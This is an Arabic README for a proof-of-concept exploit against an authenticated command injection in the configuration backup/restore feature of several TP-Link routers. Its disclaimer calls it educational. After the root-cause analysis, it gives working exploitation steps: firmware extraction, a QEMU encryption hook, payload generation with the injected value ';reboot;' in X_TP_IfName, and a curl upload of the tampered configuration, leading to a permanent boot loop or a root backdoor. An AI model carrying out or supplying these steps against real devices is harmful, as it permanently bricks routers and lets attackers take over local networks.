
إثبات مفهوم لحقن أوامر نظام التشغيل المُوثَّق في برنامج ثابت لموجه TP-Link. يتضمن فك التشفير، وخطاف تشفير قائم على QEMU، وتوليد حمولة مكونة من 15 حرفًا لنشر حلقة إقلاع مستمرة أو باب خلفي.
لمزيد من المعلومات، راجع https://www.cve.org/CVERecord?id=CVE-2026-3227
ثغرة حقن أوامر نظام تشغيل دائمة وذات مصادقة في برامج ثابتة لراوترات TP-Link تؤدي إلى تعطيل الجهاز أو احتمال السيطرة على الشبكة المحلية.
إخلاء مسؤولية: يحتوي هذا المستودع على كود إثبات مفهوم لثغرة تم تصحيحها. وهو مخصص للأغراض التعليمية وللباحثين في مجال الأمن السيبراني.
توجد ثغرة حقن أوامر في آلية النسخ الاحتياطي/الاستعادة للتكوين في عدة راوترات TP-Link (بما في ذلك TL-WR802N و TL-WR841N و TL-WR840N). يمكن للمهاجم الذي لديه صلاحيات إدارية تحميل تكوين الراوتر، وفك تشفيره، وحقن أمر نظام تشغيلي ضار (حتى 15 حرفًا) في حقول XML محددة، وإعادة تشفيره، ورفعه مرة أخرى إلى الجهاز.
عند تطبيق الراوتر للتكوين (على سبيل المثال، أثناء أحداث تشغيل المنفذ أو عند بدء التشغيل)، يتم تنفيذ الحمولة المحقونة بصلاحيات الجذر (root). يمكن استخدام هذا لإحداث حلقة إقلاع دائمة (تعطيل الجهاز بشكل دائم مع بقاء الضرر حتى بعد إعادة ضبط المصنع) أو تمكين باب خلفي دائم للتنقل عبر الشبكة المحلية.
أثناء استكشاف ميزة النسخ الاحتياطي للتكوين في الراوتر، قررت إجراء هندسة عكسية لملف httpd الثنائي ومكتبة libcmm.so لفهم كيفية تشفير ملفات التكوين وتحليلها.
qemu-user وربط ملف httpd الثنائي الأصلي وقت التشغيل (create_config.c). سمح لي هذا باستدعاء دوال التشفير الأصلية للراوتر مباشرةً من إثبات المفهوم بلغة بايثون، مما أدى إلى محاكاة مثالية لتنسيق التشفير الأصلي.تكمن الثغرة في كيفية تحليل المنتج لكتلة التكوين المشفرة وتطبيقها وقت التشغيل. في مسار تكوين تشغيل المنفذ، تقوم الدالة oal_pt_addPortTrigger ببناء أوامر shell باستخدام حقول قابلة للتحكم من قبل المستخدم دون تنقية مناسبة.
على وجه التحديد، تستدعي الدالة oal_pt_addPortTrigger ما يلي:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
يتم ملء سلسلة التنسيق %s بسلسلة الواجهة (X_TP_IfName) التي يتم تحليلها مباشرة من تكوين XML الذي تم رفعه.
تسلسل التنفيذ:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger تستدعي forward_parsePtOpenPort لتحليل قوائم المنافذ.iptables وتنفيذها عبر util_execSystem (التي تغلف system()).عن طريق تعديل XML المُفكك ليشمل:
<X_TP_IfName val=";reboot;"/>
يتم تنفيذ الأمر أثناء تهيئة الواجهة عند بدء التشغيل أو عند حدوث حدث تشغيل منفذ. نظرًا لأن الحمولة محدودة بـ 15 حرفًا، فإن صياغة الاستغلال تتطلب تقنيات تنفيذ أوامر مضغوطة.
لتجنب توزيع ملفات TP-Link الثنائية المحمية بحقوق الطبع والنشر، يتطلب إثبات المفهوم هذا أن تقوم باستخراج نظام الملفات للراوتر بنفسك للاستفادة من مكتبات التشفير الأصلية عبر ربط QEMU مخصص.
qemu-mipsel ومترجم متقاطع (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root داخل python_utils/ من هذا المشروع.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. إذا استخدمت ;reboot;، فسيتم إعادة تشغيل الراوتر فورًا والدخول في حلقة إقلاع دائمة.